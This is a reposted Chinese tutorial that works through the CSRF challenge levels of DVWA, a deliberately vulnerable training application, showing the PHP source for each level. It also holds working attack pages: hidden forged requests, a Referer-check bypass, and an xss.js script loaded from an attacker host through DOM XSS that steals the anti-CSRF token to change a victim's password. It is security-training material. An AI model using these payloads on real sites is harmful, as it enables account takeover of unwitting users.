DVWA CSRF 通關教程


CSRF 介紹

CSRF,全稱Cross-site request forgery,即跨站請求偽造,是指利用受害者尚未失效的身份認證信息(cookie、會話等),誘騙其點擊惡意鏈接或者訪問包含攻擊代碼的頁面,在受害人不知情的情況下以受害者的身份向(身份認證信息所對應的)服務器發送請求,從而完成非法操作。

可以這樣理解CSRF:攻擊者盜用了你的身份,以你的名義發送惡意請求,對服務器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作,比如以你的名義發送郵件、發消息,盜取你的賬號,添加系統管理員,甚至於購買商品、虛擬貨幣轉賬等。

 

Low Security Level

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

服務器通過GET方式接收修改密碼的請求,會檢查參數password_new與password_conf是否相同,如果相同,就會修改密碼,沒有任何的防CSRF機制(當然服務器對請求的發送者是做了身份驗證的,是檢查的cookie,只是這里的代碼沒有體現)。

Exploit

1.構造如下鏈接:

http://www.dvwa.com/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#

當受害者點擊了這個鏈接,密碼就會被改成test

2.使用短鏈接來隱藏 URL:

為了更加隱蔽,可以生成短網址鏈接,點擊短鏈接,會自動跳轉到真實網站:

http://tinyurl.com/yd2gogtv

3.構造攻擊頁面:

方式 1 通過img標簽中的src屬性來加載CSRF攻擊利用的URL,並進行布局隱藏,實現了受害者點擊鏈接則會將密碼修改。

構造的頁面test.html如下:

<img src="http://www.dvwa.com/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>

將test.html文件放在攻擊者自己准備的網站上:

當受害者正在使用自己的網站(瀏覽器中還保存着session值)時,訪問攻擊者誘惑點擊的此鏈接:

http://www.hack.com/test.html

誤認為是自己點擊的是一個失效的url:

但實際上已經遭受了CSRF攻擊,密碼已經被修改為test

方式 2 查看頁面html源代碼,將關於密碼操作的表單部分,通過javascript的onload事件加載和css代碼來隱藏布局,按GET傳遞參數的方式,進一步構造html form表單,實現了受害者點擊鏈接則會將密碼修改。

構造的頁面dvwa.html如下:

<body onload="javascript:csrf()">
<script>
function csrf(){
document.getElementById("button").click();
}
</script>
<style>
form{
display:none;
}
</style>
    <form action="http://www.dvwa.com/vulnerabilities/csrf/?" method="GET">
        New password:<br />
        <input type="password" AUTOCOMPLETE="off" name="password_new" value="test"><br />
        Confirm new password:<br />
        <input type="password" AUTOCOMPLETE="off" name="password_conf" value="test"><br />
        <br />
        <input type="submit" id="button" name="Change" value="Change" />
    </form>
</body>

當受害者正在使用自己的網站(瀏覽器中還保存着session值)時,訪問攻擊者誘惑點擊的此鏈接:

http://www.hack.com/dvwa.html

同樣會使其密碼更改為test

 

Medium Security Level

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

相關函數介紹:

stripos()函數:

stripos(string,find,start)

stripos()函數查找字符串在另一字符串中第一次出現的位置,不區分大小寫。

PHP超全局變量$_SERVER中的兩個值:

$_SERVER['HTTP_REFERER']:PHP中獲取鏈接到當前頁面的前一頁面的url鏈接地址,即HTTP數據包中的Referer參數的值。

$_SERVER['SERVER_NAME']:PHP中獲取服務器主機的名稱,即HTTP數據包中的Host參數的值。

用戶正常登錄使用修改密碼操作時,可以看到:

Medium Security Level的代碼使用stripos()函數檢查HTTP頭,過濾規則是$_SERVER['HTTP_REFERER']的值中必須包含$_SERVER['SERVER_NAME'],以此來抵御CSRF攻擊。

Exploit

將Low Security Level第三種方法中的攻擊頁面test.html復制一份,命名為www.dvwa.com.html,

我們還是按照之前的操作,先誘惑受害者點擊http://www.hack.com/test.html,抓包,並發送到Repeater中:

執行失敗,出現:That request didn't look correct.

此時讓受害者訪問www.dvwa.com.html文件,即在Repeater中修改HTTP數據包中的Referer參數為:

http://www.hack.com/www.dvwa.com.html

成功修改了密碼:

 

High Security Level

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,High Security Level的代碼加入了Anti-CSRF token機制,用戶每次訪問改密頁面時,服務器會返回一個隨機的token,向服務器發起請求時,需要提交token參數,而服務器在收到請求時,會優先檢查token,只有token正確,才會處理客戶端的請求。

Exploit

要繞過High Security Level的反CSRF機制,關鍵是要獲取token,要利用受害者的cookie去修改密碼的頁面獲取關鍵的token。

試着去構造一個攻擊頁面,將其放置在攻擊者的服務器,引誘受害者訪問,從而完成CSRF攻擊,下面是代碼。

xss.js:

alert(document.cookie);
var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
}else{
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
    if(xmlhttp.readyState ==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        console.log(match);
        alert(match[1]);
            var token = match[1];
                var new_url = 'http://www.dvwa.com/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
                if(count==0){
                    count++;
                    xmlhttp.open("GET",new_url,false);
                    xmlhttp.send();
                }
                

    }
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();

xss.js放置於攻擊者的網站上:http://www.hack.com/xss.js

DOM XSS 與 CSRF 結合:

CSRF結合同Security Level的DOM XSS,通過ajax實現跨域請求來獲取用戶的user_token,用以下鏈接來讓受害者訪問:

http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script src="http://www.hack.com/xss.js"></script>

誘導點擊后,成功將密碼修改為test

 

Impossible Security Level

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Impossible Security Level的代碼利用PDO技術防御SQL注入,至於防護CSRF,則要求用戶輸入原始密碼,攻擊者在不知道原始密碼的情況下,無論如何都無法進行CSRF攻擊。

 

 

轉載自:AnCoLin's Blog|影風博客DVWA CSRF 通關教程


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM